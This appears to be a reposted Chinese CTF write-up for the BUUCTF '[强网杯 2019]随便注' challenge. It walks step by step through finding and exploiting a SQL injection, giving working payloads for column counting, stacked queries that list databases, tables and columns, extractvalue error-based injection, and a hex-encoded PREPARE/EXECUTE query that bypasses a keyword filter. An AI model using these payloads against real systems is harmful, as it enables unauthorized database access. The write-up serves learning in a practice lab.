先看传输方式,get传参,因为在url传输
判断注入类型,注入类型为字符型,因为
输入单引号报错
将单引号后面的注释,看是否正常回显,说明闭合符号为单引号
在输入框那里输入--+,他就把我的+编码成%2b了
放到url上面,就会解码成空格
在判断列数,说明只有两个字段
1' order by 3--+ //返回页面失败
1' order by 2--+ //返回页面正常
在我尝试用联合注入的方法时,提示我这个已经被搬掉了
1' union select 1,2--+
还有堆叠注入可以测试,只需要加分号就可以了,这个试了好久,发现没加单引号,没有吧前面的语句闭合,就执行不了后面的sql语句
这个是单引号注入,他的源代码应该是这样的
select * from user where id = '1';
1';show databases;--+
1';show databases;#
然后注入之后的语句应该是这样的,语句后面应该加个注释,好像不注释也可以
select * from user where id = '1';show databases;#';
查表1';show tables; //查当前数据库的表
查表然后再查列吧,但是查列好像要指定表,查表不要指定因为,默认查的是当前数据库的表
好像可以查
1'; show columns from `words`-- q
这里是比较难的,因为查到表了,我们就要开始查数据了,但是查数据又要用到select
不管是报错注入,布尔盲注都需要用到select,报错注入查数据库名字不需要用到select
1' and (extractvalue(1,concat(0x7e,database(),0x7e)))-- q
我觉得这个应该是查字段,大佬说是查表名
1'; show columns from `1919810931114514`-- q
这个方法是没看懂,(利用程序中已有的select帮我们查询)
现在已经被过滤了,在网上查找的一种看着相对简单的方法
16进制编码
select *from where `
1919810931114514`(反引号)
进行16进制编码
1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
意思是会先转换成字符串,然后再执行sql语句
别人的,偷过来了
prepare…from…是预处理语句,会进行编码转换。
execute用来执行由SQLPrepare创建的SQL语句。
SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。
0x就是把后面的编码格式转换成16进制编码格式
那么总体理解就是,使用SeT方法给变量a赋值,给a变量赋的值就是select查询1919810931114514表的所有内容语句编码后的值,execsql方法执行来自a变量的值,prepare…from方法将执行后的编码变换成字符串格式,execute方法调用并执行execsql方法。
参考:https://blog.csdn.net/qq_44657899/article/details/10323914
buuctf[强网杯 2019]随便注 1(超详细,三种解法)-CSDN博客
写的有点久了,写了四天了
总结一下吧
首先需要先探测这里有sql注入,如何探测,加个单引号看是否返回错误页面
才能继续下去
虽然过滤了很多,但是还是有办法
参考
本站资源均来自互联网,仅供研究学习,禁止违法使用和商用,产生法律纠纷本站概不负责!如果侵犯了您的权益请与我们联系!
转载请注明出处: 免费源码网-免费的源码资源网站 » [强网杯 2019]随便注1
发表评论 取消回复